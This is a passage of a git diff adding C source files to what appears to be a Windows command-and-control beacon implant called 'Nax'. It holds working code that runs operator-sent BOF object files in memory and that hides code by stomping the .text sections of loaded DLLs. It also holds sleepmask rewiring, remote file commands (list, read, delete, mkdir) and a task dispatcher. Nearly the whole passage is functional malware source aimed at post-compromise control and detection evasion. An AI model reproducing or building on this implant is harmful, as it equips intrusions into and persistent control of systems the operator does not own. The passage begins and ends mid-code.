PNAX_INSTANCE Nax ) { + return Nax->BofStompPool.Initialized && Nax->Config.BofStomp; +} diff --git a/src_beacon/src/Commands/Bof.c b/src_beacon/src/Commands/Bof.c new file mode 100644 index 0000000..54a57b4 --- /dev/null +++ b/src_beacon/src/Commands/Bof.c @@ -0,0 +1,136 @@ +/* beacon/src/Commands/Bof.c + * CMD_BOF (0x20) - receive COFF object file + packed args, execute in-process. + * + * Task args wire format (v2 - async support): + * async_flag(1) | timeout_secs(4LE) | bof_size(4LE) | bof_bytes | user_args_size(4LE) | user_args + * + * Result format (compound - supports text + multiple media per BOF): + * [media_entry]...[0x00][text_len(4LE)][text] + * + * Each media entry is type-tagged: + * 0x81: [0x81][note_len(4)][note][img_len(4)][img] (screenshot) + * 0x82: [0x82][name_len(4)][name][data_len(4)][data] (download) + * + * If the BOF produced only text (no media), the result is raw text bytes + * with no prefix tag - backwards compatible with the old format. */ + +#include "Nax.h" +#include "Common.h" +#include "Bof.h" + +/* Write 4-byte LE integer */ +static VOID BofW32( PBYTE p, UINT32 v ) { + p[0] = (BYTE)v; p[1] = (BYTE)( v >> 8 ); p[2] = (BYTE)( v >> 16 ); p[3] = (BYTE)( v >> 24 ); +} + +/* Reverse a singly-linked list (media entries are prepended; reverse for FIFO order). */ +static NAX_BOF_MEDIA* BofReverseMedia( NAX_BOF_MEDIA* head ) { + NAX_BOF_MEDIA* prev = NULL; + while ( head ) { + NAX_BOF_MEDIA* next = head->Next; + head->Next = prev; + prev = head; + head = next; + } + return prev; +} + +FUNC INT NaxCmdBof( PNAX_INSTANCE Nax, UINT32 taskId, const PBYTE args, UINT32 args_len, + PBYTE out, UINT32* out_len ) { + if ( args_len < 13 || args == NULL ) return NAX_ERR_INVAL; + + /* ---- parse v2 prefix ---- */ + BYTE asyncFlag = args[0]; + UINT32 timeoutSecs = NaxR32( args + 1 ); + PBYTE bofArgs = args + 5; + UINT32 bofArgsLen = args_len - 5; + + /* ---- parse COFF + user args ---- */ + if ( bofArgsLen < 8 ) return NAX_ERR_INVAL; + UINT32 bof_size = NaxR32( bofArgs ); + if ( 4u + bof_size + 4u > bofArgsLen ) return NAX_ERR_WIRE; + + PBYTE bof_data = bofArgs + 4; + UINT32 user_args_size = NaxR32( bofArgs + 4 + bof_size ); + PBYTE user_args = bofArgs + 4 + bof_size + 4; + + if ( 4u + bof_size + 4u + user_args_size > bofArgsLen ) return NAX_ERR_WIRE; + + /* ---- async path ---- */ + if ( asyncFlag ) { + DWORD timeoutMs = timeoutSecs ? timeoutSecs * 1000u : 0; + NAX_JOB* job = NaxJobCreate( Nax, taskId, bof_data, bof_size, user_args, user_args_size, timeoutMs ); + if ( !job ) return NAX_ERR_NOMEM; + + INT rc = NaxJobStart( Nax, job ); + if ( rc != NAX_OK ) { + *out_len = 0; + return rc; + } + + *out_len = 0; + return NAX_STATUS_ASYNC; + } + + /* ---- sync path (existing logic) ---- */ + PBYTE out_buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, BOF_OUTPUT_CAP ); + if ( !out_buf ) return NAX_ERR_NOMEM; + + Nax->BofCtx.Buf = out_buf; + Nax->BofCtx.Len = 0; + Nax->BofCtx.Cap = BOF_OUTPUT_CAP; + Nax->BofCtx.MediaHead = NULL; + + INT ret = NaxBofExecute( Nax, bof_data, bof_size, user_args, user_args_size ); + + BOOL has_text = ( Nax->BofCtx.Len > 0 ); + BOOL has_media = ( Nax->BofCtx.MediaHead != NULL ); + + /* Prepend 2-byte stomp metadata: [status][slot_idx] */ + UINT32 off = 0; + if ( off + 2 <= *out_len ) { + out[ off++ ] = Nax->BofCtx.Stomped; + out[ off++ ] = Nax->BofCtx.StompSlot; + } + + if ( has_media ) { + Nax->BofCtx.MediaHead = BofReverseMedia( Nax->BofCtx.MediaHead ); + + for ( NAX_BOF_MEDIA* m = Nax->BofCtx.MediaHead; m; m = m->Next ) { + if ( off + m->Len <= *out_len ) { + MmCopy( out + off, m->Data, m->Len ); + off += m->Len; + } + } + + if ( has_text && off + 5u + Nax->BofCtx.Len <= *out_len ) { + out[ off ] = 0x00; + BofW32( out + off + 1, Nax->BofCtx.Len ); + MmCopy( out + off + 5, out_buf, Nax->BofCtx.Len ); + off += 5u + Nax->BofCtx.Len; + } + *out_len = off; + } else if ( has_text ) { + UINT32 copy = ( Nax->BofCtx.Len < *out_len - off ) ? Nax->BofCtx.Len : *out_len - off; + MmCopy( out + off, out_buf, copy ); + *out_len = off + copy; + } else { + *out_len = off; + } + + NAX_BOF_MEDIA* m = Nax->BofCtx.MediaHead; + while ( m ) { + NAX_BOF_MEDIA* next = m->Next; + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, m->Data ); + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, m ); + m = next; + } + Nax->BofCtx.MediaHead = NULL; + + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, out_buf ); + Nax->BofCtx.Buf = NULL; + Nax->BofCtx.Len = 0; + Nax->BofCtx.Cap = 0; + + return ret; +} diff --git a/src_beacon/src/Commands/BofStomp.c b/src_beacon/src/Commands/BofStomp.c new file mode 100644 index 0000000..5f7f85b --- /dev/null +++ b/src_beacon/src/Commands/BofStomp.c @@ -0,0 +1,283 @@ +/* beacon/src/Commands/BofStomp.c + * CMD_BOF_STOMP (0x31) - runtime reconfiguration of BOF module stomping. + * + * Wire format: sub_cmd(1) | data... + * 0x00 (sync): wchar_len(4LE) | wchar_bytes | flags(1) + * 0x01 (async): count(1) | [wchar_len(4LE) | wchar_bytes]... | flags(1) + * 0x02 (show): (empty) + * 0x03 (sm): wchar_len(4LE) | wchar_bytes | flags(1) + * + * flags bit 0: unload old DLL (1) vs restore original bytes (0, default) + * + * Response: UTF-8 text describing what happened. */ + +#include "Nax.h" +#include "LdrFlags.h" + +/* ========= [ helpers ] ========= */ + +static VOID CleanupSlot( PNAX_INSTANCE Nax, BOF_STOMP_SLOT* slot, BOOL unload ) { + if ( !slot->DllBase ) return; + + if ( !unload ) { + DWORD oldProt; + if ( slot->TextBackup && slot->TextBase ) { + Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_READWRITE, &oldProt ); + MmCopy( slot->TextBase, slot->TextBackup, slot->TextCap ); + Nax->Kernel32.VirtualProtect( slot->TextBase, slot->TextCap, PAGE_EXECUTE_READ, &oldProt ); + } + if ( slot->PdataBackup && slot->PdataBase ) { + Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READWRITE, &oldProt ); + MmCopy( slot->PdataBase, slot->PdataBackup, slot->PdataSize ); + Nax->Kernel32.VirtualProtect( slot->PdataBase, slot->PdataSize, PAGE_READONLY, &oldProt ); + } + } + + if ( slot->TextBackup ) + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, slot->TextBackup ); + if ( slot->PdataBackup ) + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, slot->PdataBackup ); + + if ( unload ) + Nax->Kernel32.FreeLibrary( (HMODULE)slot->DllBase ); + + MmZero( slot, sizeof( BOF_STOMP_SLOT ) ); +} + +static BOOL ReloadSlot( PNAX_INSTANCE Nax, PWCHAR dllName, BOF_STOMP_SLOT* slot, BOOL unload ) { + CleanupSlot( Nax, slot, unload ); + + HMODULE hDll = Nax->Kernel32.LoadLibraryExW( dllName, NULL, DONT_RESOLVE_DLL_REFERENCES ); + if ( !hDll ) return FALSE; + + slot->DllBase = (PVOID)hDll; + PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hDll; + PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)( (PBYTE)hDll + dos->e_lfanew ); + slot->Nt = nt; + + PIMAGE_SECTION_HEADER sec = IMAGE_FIRST_SECTION( nt ); + for ( UINT16 i = 0; i < nt->FileHeader.NumberOfSections; i++ ) { + if ( sec[i].Name[0] == '.' && sec[i].Name[1] == 't' && + sec[i].Name[2] == 'e' && sec[i].Name[3] == 'x' && + sec[i].Name[4] == 't' ) { + slot->TextBase = (PVOID)( (PBYTE)hDll + sec[i].VirtualAddress ); + slot->TextCap = sec[i].SizeOfRawData; + if ( slot->TextCap == 0 ) slot->TextCap = sec[i].Misc.VirtualSize; + slot->InUse = FALSE; + + slot->TextBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, slot->TextCap ); + if ( slot->TextBackup ) + MmCopy( slot->TextBackup, slot->TextBase, slot->TextCap ); + + PIMAGE_DATA_DIRECTORY exDir = &nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION]; + if ( exDir->VirtualAddress && exDir->Size ) { + slot->PdataBase = (PVOID)( (PBYTE)hDll + exDir->VirtualAddress ); + slot->PdataSize = exDir->Size; + slot->PdataBackup = Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, exDir->Size ); + if ( slot->PdataBackup ) + MmCopy( slot->PdataBackup, slot->PdataBase, exDir->Size ); + } + + return TRUE; + } + } + + Nax->Kernel32.FreeLibrary( hDll ); + MmZero( slot, sizeof( BOF_STOMP_SLOT ) ); + return FALSE; +} + +/* ========= [ command handler ] ========= */ + +FUNC INT NaxCmdBofStomp( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, + PBYTE out, UINT32* out_len ) { + if ( args_len < 1 ) return NAX_ERR_INVAL; + + UINT32 cap = *out_len; + UINT32 off = 0; + BYTE subCmd = args[0]; + + switch ( subCmd ) { + + /* ---- sync: replace sync DLL ---- */ + case 0x00: { + if ( args_len < 5 ) return NAX_ERR_INVAL; + UINT32 wlen = NaxR32( args + 1 ); + if ( 5 + wlen > args_len ) return NAX_ERR_WIRE; + + PWCHAR name = (PWCHAR)( args + 5 ); + UINT32 nchars = wlen / sizeof( WCHAR ); + if ( nchars == 0 || nchars >= 64 ) return NAX_ERR_INVAL; + + BOOL unload = ( 5 + wlen + 1 <= args_len ) ? ( args[5 + wlen] & 0x01 ) : FALSE; + + WCHAR buf[64]; MmZero( buf, sizeof( buf ) ); + MmCopy( buf, name, nchars * sizeof( WCHAR ) ); + + BOOL ok = ReloadSlot( Nax, buf, &Nax->BofStompPool.SyncSlot, unload ); + if ( ok ) { + MmZero( Nax->Config.BofSyncDll, sizeof( Nax->Config.BofSyncDll ) ); + MmCopy( Nax->Config.BofSyncDll, buf, nchars * sizeof( WCHAR ) ); + } + + off = NaxAppendStr((PCHAR)out, off, cap, ok ? "sync DLL updated: " : "sync DLL reload FAILED: " ); + off = NaxAppendWStr((PCHAR)out, off, cap, buf ); + off = NaxAppendStr((PCHAR)out, off, cap, unload ? " (old unloaded)" : " (old restored)" ); + break; + } + + /* ---- async: replace async DLL pool ---- */ + case 0x01: { + if ( args_len < 2 ) return NAX_ERR_INVAL; + BYTE count = args[1]; + if ( count > BOF_STOMP_ASYNC_MAX ) count = BOF_STOMP_ASYNC_MAX; + + /* Scan ahead to find trailing flags byte after all DLL entries */ + UINT32 scan = 2; + for ( BYTE i = 0; i < count && scan + 4 <= args_len; i++ ) { + UINT32 wl = NaxR32( args + scan ); scan += 4; + scan += wl; + } + BOOL unload = ( scan < args_len ) ? ( args[scan] & 0x01 ) : FALSE; + + /* Clean up existing async DLLs */ + for ( BYTE i = 0; i < Nax->BofStompPool.AsyncCount; i++ ) { + BOF_STOMP_SLOT* s = &Nax->BofStompPool.AsyncSlots[i]; + if ( s->DllBase && !s->InUse ) + CleanupSlot( Nax, s, unload ); + } + Nax->BofStompPool.AsyncCount = 0; + Nax->Config.BofAsyncCount = 0; + + /* Load new set */ + UINT32 p = 2; + BYTE loaded = 0; + off = NaxAppendStr((PCHAR)out, off, cap, "async pool updated" ); + off = NaxAppendStr((PCHAR)out, off, cap, unload ? " (old unloaded):\n" : " (old restored):\n" ); + + for ( BYTE i = 0; i < count && p + 4 <= args_len; i++ ) { + UINT32 wlen = NaxR32( args + p ); p += 4; + if ( p + wlen > args_len ) break; + + PWCHAR wname = (PWCHAR)( args + p ); + UINT32 nchars = wlen / sizeof( WCHAR ); + p += wlen; + if ( nchars == 0 || nchars >= 64 ) continue; + + WCHAR buf[64]; MmZero( buf, sizeof( buf ) ); + MmCopy( buf, wname, nchars * sizeof( WCHAR ) ); + + BOOL ok = ReloadSlot( Nax, buf, &Nax->BofStompPool.AsyncSlots[loaded], FALSE ); + if ( ok ) { + MmZero( Nax->Config.BofAsyncDlls[loaded], sizeof( Nax->Config.BofAsyncDlls[loaded] ) ); + MmCopy( Nax->Config.BofAsyncDlls[loaded], buf, nchars * sizeof( WCHAR ) ); + loaded++; + } + off = NaxAppendStr((PCHAR)out, off, cap, " " ); + off = NaxAppendWStr((PCHAR)out, off, cap, buf ); + off = NaxAppendStr((PCHAR)out, off, cap, ok ? " -> OK\n" : " -> FAILED\n" ); + } + + Nax->BofStompPool.AsyncCount = loaded; + Nax->Config.BofAsyncCount = loaded; + off = NaxAppendStr((PCHAR)out, off, cap, "loaded: " ); + off = NaxAppendInt((PCHAR)out, off, cap, loaded ); + off = NaxAppendStr((PCHAR)out, off, cap, "/" ); + off = NaxAppendInt((PCHAR)out, off, cap, count ); + break; + } + + /* ---- sleepmask: replace SmSlot DLL and re-wire ---- */ + case 0x03: { + if ( args_len < 5 ) return NAX_ERR_INVAL; + UINT32 wlen = NaxR32( args + 1 ); + if ( 5 + wlen > args_len ) return NAX_ERR_WIRE; + + PWCHAR name = (PWCHAR)( args + 5 ); + UINT32 nchars = wlen / sizeof( WCHAR ); + if ( nchars == 0 || nchars >= 64 ) return NAX_ERR_INVAL; + + BOOL unload = ( 5 + wlen + 1 <= args_len ) ? ( args[5 + wlen] & 0x01 ) : FALSE; + + WCHAR buf[64]; MmZero( buf, sizeof( buf ) ); + MmCopy( buf, name, nchars * sizeof( WCHAR ) ); + + /* Free current resident BOF before swapping the DLL */ + NaxBofFreeResident( Nax ); + + BOOL ok = ReloadSlot( Nax, buf, &Nax->BofStompPool.SmSlot, unload ); + if ( ok ) { + MmZero( Nax->Config.SmStompDll, sizeof( Nax->Config.SmStompDll ) ); + MmCopy( Nax->Config.SmStompDll, buf, nchars * sizeof( WCHAR ) ); + } + + off = NaxAppendStr((PCHAR)out, off, cap, ok ? "sleepmask DLL updated: " : "sleepmask DLL reload FAILED: " ); + off = NaxAppendWStr((PCHAR)out, off, cap, buf ); + off = NaxAppendStr((PCHAR)out, off, cap, unload ? " (old unloaded)" : " (old restored)" ); + + /* Re-wire sleepmask into the new slot from cached BOF bytes */ + if ( ok && Nax->SmBofCache && Nax->SmBofCacheLen > 0 ) { + INT rc = NaxSleepmaskWire( Nax, Nax->SmBofCache, Nax->SmBofCacheLen ); + off = NaxAppendStr((PCHAR)out, off, cap, rc == NAX_OK ? "\nsleepmask re-wired OK" : "\nsleepmask re-wire FAILED" ); + } else if ( ok ) { + off = NaxAppendStr((PCHAR)out, off, cap, "\nno cached sleepmask BOF - use sleepmask-set to load one" ); + } + break; + } + + /* ---- show: dump current config ---- */ + case 0x02: { + off = NaxAppendStr((PCHAR)out, off, cap, "BOF Stomping: " ); + off = NaxAppendStr((PCHAR)out, off, cap, Nax->BofStompPool.Initialized ? "enabled\n" : "disabled\n" ); + + off = NaxAppendStr((PCHAR)out, off, cap, "Sync DLL: " ); + if ( Nax->BofStompPool.SyncSlot.DllBase ) { + off = NaxAppendWStr((PCHAR)out, off, cap, Nax->Config.BofSyncDll ); + off = NaxAppendStr((PCHAR)out, off, cap, " (.text cap=" ); + off = NaxAppendInt((PCHAR)out, off, cap, Nax->BofStompPool.SyncSlot.TextCap ); + off = NaxAppendStr((PCHAR)out, off, cap, Nax->BofStompPool.SyncSlot.InUse ? " IN USE)\n" : ")\n" ); + } else { + off = NaxAppendStr((PCHAR)out, off, cap, "(not loaded)\n" ); + } + + off = NaxAppendStr((PCHAR)out, off, cap, "Async DLLs: " ); + off = NaxAppendInt((PCHAR)out, off, cap, Nax->BofStompPool.AsyncCount ); + off = NaxAppendStr((PCHAR)out, off, cap, "\n" ); + for ( BYTE i = 0; i < Nax->BofStompPool.AsyncCount; i++ ) { + BOF_STOMP_SLOT* s = &Nax->BofStompPool.AsyncSlots[i]; + off = NaxAppendStr((PCHAR)out, off, cap, " [" ); + off = NaxAppendInt((PCHAR)out, off, cap, i ); + off = NaxAppendStr((PCHAR)out, off, cap, "] " ); + off = NaxAppendWStr((PCHAR)out, off, cap, Nax->Config.BofAsyncDlls[i] ); + off = NaxAppendStr((PCHAR)out, off, cap, " (.text cap=" ); + off = NaxAppendInt((PCHAR)out, off, cap, s->TextCap ); + off = NaxAppendStr((PCHAR)out, off, cap, s->InUse ? " IN USE)\n" : ")\n" ); + } + + off = NaxAppendStr((PCHAR)out, off, cap, "Sleepmask DLL: " ); + if ( Nax->BofStompPool.SmSlot.DllBase ) { + off = NaxAppendWStr((PCHAR)out, off, cap, Nax->Config.SmStompDll ); + off = NaxAppendStr((PCHAR)out, off, cap, " (.text cap=" ); + off = NaxAppendInt((PCHAR)out, off, cap, Nax->BofStompPool.SmSlot.TextCap ); + off = NaxAppendStr((PCHAR)out, off, cap, Nax->BofStompPool.SmSlot.InUse ? " IN USE)\n" : ")\n" ); + } else { + off = NaxAppendStr((PCHAR)out, off, cap, "(not loaded)\n" ); + } + off = NaxAppendStr((PCHAR)out, off, cap, "Sleepmask BOF: " ); + off = NaxAppendStr((PCHAR)out, off, cap, Nax->Gate ? "loaded" : "not loaded" ); + if ( Nax->SmBofCache ) { + off = NaxAppendStr((PCHAR)out, off, cap, " (cached " ); + off = NaxAppendInt((PCHAR)out, off, cap, Nax->SmBofCacheLen ); + off = NaxAppendStr((PCHAR)out, off, cap, " bytes)" ); + } + off = NaxAppendStr((PCHAR)out, off, cap, "\n" ); + break; + } + + default: + return NAX_ERR_INVAL; + } + + *out_len = off; + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Core.c b/src_beacon/src/Commands/Core.c new file mode 100644 index 0000000..5914f75 --- /dev/null +++ b/src_beacon/src/Commands/Core.c @@ -0,0 +1,225 @@ +#include "Nax.h" +#include "Common.h" + +/* ========= [ CMD_CD (0x14) ] ========= */ + +FUNC INT CmdCd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL; + + CHAR path[MAX_PATH_SIZE]; + UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1); + MmCopy( path, args, path_len ); + path[path_len] = '\0'; + NaxDbg( Nax, "CMD_CD '%s'", path ); + + if ( Nax->Kernel32.SetCurrentDirectoryA( path ) ) { + *out_len = 0; + return NAX_OK; + } + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; +} + +/* ========= [ CMD_PWD (0x15) ] ========= */ + +FUNC INT CmdPwd( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + (void)args; (void)args_len; + if ( *out_len < MAX_PATH_SIZE ) return NAX_ERR_NOMEM; + + DWORD rc = Nax->Kernel32.GetCurrentDirectoryA( MAX_PATH_SIZE, (PCHAR)out ); + NaxDbg( Nax, "CMD_PWD: GetCurrentDirectoryA rc=%lu out_len=%u", (ULONG)rc, *out_len ); + if ( rc == 0 || rc > MAX_PATH_SIZE ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + *out_len = rc; + return NAX_OK; +} + +/* ========= [ CMD_MKDIR (0x16) ] ========= */ + +FUNC INT CmdMkdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL; + + CHAR path[MAX_PATH_SIZE]; + UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1); + MmCopy( path, args, path_len ); + path[path_len] = '\0'; + + if ( Nax->Kernel32.CreateDirectoryA( path, NULL ) ) { + *out_len = 0; + return NAX_OK; + } + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; +} + +/* ========= [ CMD_RMDIR (0x17) ] ========= */ + +FUNC INT CmdRmdir( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL; + + CHAR path[MAX_PATH_SIZE]; + UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1); + MmCopy( path, args, path_len ); + path[path_len] = '\0'; + + if ( Nax->Kernel32.RemoveDirectoryA( path ) ) { + *out_len = 0; + return NAX_OK; + } + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; +} + +/* ========= [ CMD_CAT (0x18) ] ========= */ + +FUNC INT CmdCat( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL; + + CHAR path[MAX_PATH_SIZE]; + UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1); + MmCopy( path, args, path_len ); + path[path_len] = '\0'; + + HANDLE f = Nax->Kernel32.CreateFileA( path, GENERIC_READ, FILE_SHARE_READ, + NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL ); + if ( f == INVALID_HANDLE_VALUE ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + DWORD read = 0; + DWORD to_read = ( *out_len < MAX_FILE_SIZE ) ? *out_len : MAX_FILE_SIZE; + if ( ! Nax->Kernel32.ReadFile( f, out, to_read, &read, NULL ) ) { + /* Save error BEFORE CloseHandle which may overwrite LastErrorValue */ + NaxWriteWin32Err( out, out_len ); + Nax->Kernel32.CloseHandle( f ); + return NAX_ERR_FAIL; + } + Nax->Kernel32.CloseHandle( f ); + *out_len = read; + return NAX_OK; +} + +/* ========= [ CMD_LS (0x19) ] ========= */ +/* + * Wire output on success: + * path_len(2LE) + path(path_len) + + * count(2LE) + + * count × [ isDir(1) | attrs(1) | size(4LE) | mtime(4LE) | name_len(1) | name(name_len) ] + * + * attrs byte = raw FILE_ATTRIBUTE_* low byte (R=0x01, H=0x02, S=0x04, D=0x10, A=0x20). + * mtime = Unix timestamp (FILETIME converted to seconds since epoch, truncated to 32-bit). + * Shows ALL files including hidden/system - caller filters via attrs if needed. + */ +FUNC INT CmdLs( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + CHAR path[ MAX_PATH_SIZE ]; + + /* ---- resolve target directory ---- */ + if ( args_len == 0 || args == NULL ) { + DWORD rc = Nax->Kernel32.GetCurrentDirectoryA( MAX_PATH_SIZE, path ); + if ( rc == 0 || rc > MAX_PATH_SIZE ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + } else { + UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1); + MmCopy( path, args, path_len ); + path[ path_len ] = '\0'; + } + + /* ---- measure path length (saved separately - plen is mutated below) ---- */ + UINT32 plen = 0; + while ( path[ plen ] ) plen++; + UINT32 path_wire_len = plen; /* length of just the path, without the appended \* */ + + /* ---- build "path\*" search pattern ---- */ + CHAR pattern[ MAX_PATH_SIZE + 3 ]; + MmCopy( pattern, path, plen ); + if ( plen > 0 && path[ plen - 1 ] != '\\' ) pattern[ plen++ ] = '\\'; + pattern[ plen++ ] = '*'; + pattern[ plen ] = '\0'; + + WIN32_FIND_DATAA fd; + HANDLE h = Nax->Kernel32.FindFirstFileA( pattern, &fd ); + if ( h == INVALID_HANDLE_VALUE ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + /* ---- encode wire header ---- */ + PBYTE wp = out; + UINT32 cap = *out_len; + + /* path_len(2LE) + path */ + if ( cap < 2 + path_wire_len + 2 ) { Nax->Kernel32.FindClose( h ); return NAX_ERR_NOMEM; } + NaxW16( wp, (UINT16)path_wire_len ); wp += 2; cap -= 2; + MmCopy( wp, path, path_wire_len ); wp += path_wire_len; cap -= path_wire_len; + + /* reserve 2 bytes for entry count - filled after loop */ + PBYTE count_ptr = wp; + wp += 2; cap -= 2; + UINT16 count = 0; + + /* ---- iterate entries ---- */ + do { + /* skip . and .. */ + if ( fd.cFileName[0] == '.' && + ( fd.cFileName[1] == '\0' || + ( fd.cFileName[1] == '.' && fd.cFileName[2] == '\0' ) ) ) + continue; + + UINT32 nlen = 0; + while ( fd.cFileName[ nlen ] ) nlen++; + if ( nlen > 255 ) nlen = 255; + + if ( cap < 11 + nlen ) break; /* buffer full - truncate listing */ + + BYTE isDir = ( fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ) ? 1 : 0; + BYTE attrs = (BYTE)( fd.dwFileAttributes & 0xFFu ); + UINT32 size = fd.nFileSizeLow; + + /* FILETIME → Unix timestamp (32-bit) */ + UINT64 ft = ( (UINT64)fd.ftLastWriteTime.dwHighDateTime << 32 ) + | (UINT64)fd.ftLastWriteTime.dwLowDateTime; + UINT32 ts = ( ft > 116444736000000000ULL ) + ? (UINT32)( ( ft - 116444736000000000ULL ) / 10000000ULL ) + : 0; + + *wp++ = isDir; cap--; + *wp++ = attrs; cap--; + NaxW32( wp, size ); wp += 4; cap -= 4; + NaxW32( wp, ts ); wp += 4; cap -= 4; + *wp++ = (BYTE)nlen; cap--; + MmCopy( wp, fd.cFileName, nlen ); wp += nlen; cap -= nlen; + + count++; + + } while ( Nax->Kernel32.FindNextFileA( h, &fd ) ); + + Nax->Kernel32.FindClose( h ); + + NaxW16( count_ptr, count ); + *out_len = (UINT32)( wp - out ); + return NAX_OK; +} + +/* ========= [ CMD_RM (0x27) ] ========= */ + +FUNC INT CmdRm( PNAX_INSTANCE Nax, const PBYTE args, UINT32 args_len, PBYTE out, UINT32* out_len ) { + if ( args_len < 1 || args == NULL ) return NAX_ERR_INVAL; + + CHAR path[MAX_PATH_SIZE]; + UINT32 path_len = ( args_len < MAX_PATH_SIZE ) ? args_len : (MAX_PATH_SIZE - 1); + MmCopy( path, args, path_len ); + path[ path_len ] = '\0'; + + if ( ! Nax->Kernel32.DeleteFileA( path ) ) { + NaxWriteWin32Err( out, out_len ); + return NAX_ERR_FAIL; + } + + *out_len = 0; + return NAX_OK; +} diff --git a/src_beacon/src/Commands/Dispatch.c b/src_beacon/src/Commands/Dispatch.c new file mode 100644 index 0000000..98bc71e --- /dev/null +++ b/src_beacon/src/Commands/Dispatch.c @@ -0,0 +1,309 @@ +/* beacon/src/Commands/Dispatch.c + * NaxDispatch - execute one decoded task, write result into caller buffers. + * + * To add a new command: + * 1. Define NAX_CMD_YOURNAME in Wire.h + * 2. Implement NaxCmdYourName() in Commands/YourName.c + * 3. Add the case here and to the forward declarations below. */ + +#include "Nax.h" +#include "Transport.h" + +/* ========= [ dispatcher ] ========= */ + +/* Execute task; fill result buffers. + * result_data must be at least 512 bytes (caller's responsibility). + * Returns 1 if a result frame should be sent back, 0 if not (e.g. exit commands). */ +FUNC INT NaxDispatch( PNAX_INSTANCE Nax, + const NAX_TASK* task, + UINT32* result_task_id, + BYTE* result_status, + PBYTE result_data, + UINT32* result_data_len ) { + + *result_task_id = task->TaskId; + /* *result_data_len is the caller's buffer capacity - leave it as-is. */ + + switch ( task->CmdId ) { + + /* ---- CMD_WHOAMI (0x10) ---- */ + case NAX_CMD_WHOAMI: + *result_status = ( NaxCmdWhoami( Nax, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0; + return 1; + + /* ---- CMD_SLEEP (0x11) ---- */ + case NAX_CMD_SLEEP: + *result_status = ( NaxCmdSleep( Nax, task->Args, (UINT32)task->ArgsLen, + result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + if ( *result_status != NAX_STATUS_OK ) *result_data_len = 0; + return 1; + + /* ---- CMD_EXIT_THREAD (0x12) ---- */ + case NAX_CMD_EXIT_THREAD: + Nax->Ntdll.RtlExitUserThread( 0 ); + return 0; + + /* ---- CMD_EXIT_PROCESS (0x13) ---- */ + case NAX_CMD_EXIT_PROCESS: + Nax->Kernel32.ExitProcess( 0 ); + return 0; + + /* ---- CMD_CD (0x14) ---- */ + /* Core.c sets *result_data_len=0 on success, Win32 error (4 bytes) on fail */ + case NAX_CMD_CD: + *result_status = ( CmdCd( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_PWD (0x15) ---- */ + case NAX_CMD_PWD: + *result_status = ( CmdPwd( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_MKDIR (0x16) ---- */ + case NAX_CMD_MKDIR: + *result_status = ( CmdMkdir( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_RMDIR (0x17) ---- */ + case NAX_CMD_RMDIR: + *result_status = ( CmdRmdir( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_CAT (0x18) ---- */ + case NAX_CMD_CAT: + *result_status = ( CmdCat( Nax, task->Args, (UINT32)task->ArgsLen, result_data, result_data_len ) == NAX_OK ) + ? NAX_STATUS_OK : NAX_STATUS_ERR; + return 1; + + /* ---- CMD_LS (0x19) 